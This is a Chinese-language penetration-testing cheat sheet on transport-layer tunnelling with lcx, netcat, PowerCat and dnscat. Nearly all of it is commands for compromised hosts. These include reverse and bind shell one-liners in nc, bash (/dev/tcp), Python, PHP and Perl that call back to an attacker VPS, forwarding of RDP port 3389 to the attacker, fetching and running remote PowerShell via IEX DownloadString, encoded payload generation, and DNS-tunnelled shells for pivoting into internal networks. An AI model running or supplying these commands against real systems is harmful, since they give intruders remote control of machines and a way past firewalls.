传输层隧道技术
传输层技术包括tcp隧道、udp隧道和常规端口转发。在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以使用IPTABles打开指定端口。
1 lcx端口转发
下载地址:https://github.com/UndefinedIdentifier/LCX
1.1 内网端口转发
在受害机上执行
1 | lcx.exe -slave 192.168.1.4(攻击机公网主机IP) 4444 127.0.0.1 3389 |
这条命令的意思就是将本机的3389端口转发到攻击机的4444端口上
之后在攻击机上执行
1 | lcx.exe -listen 4444 5555 |
1.2 本地端口映射
由于部分端口受防火墙限制,可以将目标服务器相应端口的数据透传到防火墙允许的其他端口,在目标主机上执行如下命令。就可以直接从远程桌面连接目标主机的53端口。
1 | lcx -tran 53 <目标主机IP地址> 3389 |
2 netcat
安装
1 | sudo yum install nc.x86_64 |
2.1 命令查询
1 | nc -h |
2.2 简易使用
Banner抓取
1 | nc -nv 192.168.137.1 21 |
连接远程主机
1 | nc -nvv 192.168.131.1 80 |
端口扫描
1 | 单个端口扫描: |
端口监听
1 | nc -l -p 9999 |
文件传输
1 | 主机vps输入监听: |
简易聊天
1 | 主机vps输入监听: |
2.3 获取shell
正向shell
输入以下命令,监听目标主机的4444端口
1 | nc -lvp 4444 -e /bin/sh //Linux |
在本地或VPS主机上来连接目标主机的4444端口
1 | nc 192.168.137.100 4444 |
反向shell
输入以下命令,在本地或VPS主机上监听本地9999端口
1 | nc -lvp 9999 |
在目标主机中输入以下命令,连接VPS主机192.168.137.1的9999端口
1 | nc 192.168.137.1 9999 -e /bin/sh //Linux |
2.4 在目标主机中没有nc时获取反向shell
(1)python反向shell
在VPS上监听本地2222端口
1 | nc -lvp 2222 |
在目标主机上执行如下命令
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_ip",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
(2)Bash反向shell
在VPS上监听本地4444端口
1 | nc -lvp 4444 |
在目标主机上执行如下命令
1 | bash -i >& /dev/tcp/192.168.137.1/4444 0>&1 |
(3)php反向shell
在VPS上监听本地2222端口
1 | nc -lvp 2222 |
在目标主机上执行如下命令
1 | php -r '$sock=fsockopen("192.168.137.1",2222);exec("/bin/sh -i <&3 >&3 2>&3");' |
(4)perl反向shell
在VPS上监听本地4444端口
1 | nc -lvp 4444 |
在目标主机上执行如下命令
1 | perl -e 'use Socket;$i="VPS_ip";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
2.5 内网代理
在VPS中输入如下命令,监听3333端口
1 | nc -lvp 3333 |
接着在内网服务器执行如下命令
1 | nc -lvp 3333 -e /bin/sh |
在边界服务器上执行如下命令
1 | nc -v 192.168.137.100(边界服务器出口ip) 3333 -c "nc -v 10.10.10.200(内网服务器ip) 3333" |
3 PowerCat
PowerCat下载地址:https://github.com/besimorhino/powercat.git
设置权限
1 | Set-ExecutionPolicy RemoteSigned |
使用前先导入 ps脚本
1 | Import-Module .\powercat.ps1 |
powercat部分参数介绍
1 | -c 指定一个ip地址 |
3.1 通过nc正向连接Powercat
在目标服务器中执行以下命令
1 | powercat -l -p 8080 -e cmd.exe -v |
在VPS中执行
1 | netcat 边界服务器的出口ip 8080 -vv |
3.2 通过nc反向连接powercat
在VPS执行下列命令:
1 | netcat -l -p 8888 -vv |
在win7(边界服务器)执行:
1 | powercat -c 192.168.137.1(VPS的ip) -p 8888 -v -e cmd.exe |
3.3 通过Powercat返回Powershell
在Winserver2008(内网服务器)中执行:
1 | IEX(New-Object Net.WebClient).DownloadString('http://1.1.1.10/powercat.ps1') |
在win7(边界服务器)中执行:
1 | powercat -c 10.10.10.201(内网服务器ip) -p 9999 -v -ep |
3.4 通过Powercat传输文件
在win7(边界服务器)新建test.txt文件,放在c盘根目录,在winserver2008(内网服务器)中执行下列命令。
1 | powercat -l -p 9999 -of test.txt -v |
回到win7(边界服务器)中,执行如下命令:
1 | powercat -c 10.10.10.201(内网服务器ip) -p 9999 -i c:\test.txt -v |
3.5 用PowerCat生成Payload
在Win7(边界服务器)执行下面命令:
1 | powercat -l -p 8000 -e cmd -v -g >> shell.ps1 |
将生成的ps1文件上传到Winserver2008(内网服务器)中并且执行,然后在win7中执行如下命令,就可以获得一个反弹shell:
1 | powercat -c 10.10.10.201(内网服务器ip) -p 8000 -v |
如果想反弹Powershell,可以执行如下命令:
1 | powercat -l -p 8000 -ep -v -g >> shell.ps1 |
生成经过编码的Payload。在win7(边界服务器)执行如下命令:
1 | powercat -c 10.10.10.201(内网服务器ip) -p 9999 -ep -ge |
继续在win7(边界服务器)执行:
1 | powercat -l -p 9999 -v |
3.6 Powercat DNS隧道通信
首先需要安装dnscat,然后在安装了dnscat的linux的VPS主机上执行如下命令:
1 | ruby dnscat2.rb ttpowercat.test -e open --no-cache |
然后在win7(边界服务器)上执行下面命令,就能看到dnscat上面的反弹shell:
1 | powercat -c 192.168.137.1(攻击服务器VPS的ip) -p 53 -dns ttpowercat.test -e cmd.exe |
3.7 将Powercat作为跳板
将win7(边界服务器)作为跳板,让Kali(VPS)连接winserver2008(内网服务器)。首先,在winserver2008(内网服务器)中执行:
1 | powercat -l -v -p 9999 -e cmd.exe |
然后在win7(边界服务器)中执行:
1 | powercat -l -v -p 8000 -r tcp:10.10.10.201(内网服务器ip):9999 |
最后,让kali(VPS)和win7(边界服务器)进行连接,win7(边界服务器)就可以将流量转发给winserver2008(内网服务器)。
在kali(VPS)输入:
1 | nc 192.168.137.100(边界服务器出口ip) 8000 -vv |
成功连接。
在这里也可以使用DNS协议。在win7(边界服务器)中执行如下命令:
1 | powercat -l -p 8000 -r dns::192.168.137.1(攻击服务器VPS的ip)::ttpowercat.test |
在kali(VPS)中输入如下命令,启动dnscat
1 | ruby dnscat2.rb ttpowercat.test -e open --no-cache |
在winserver2008内网服务器)中输入下面命令,就可以反弹shell了
1 | powercat -c -10.10.10.200(边界服务器的内网ip) -p 8000 -v -e cmd.exe |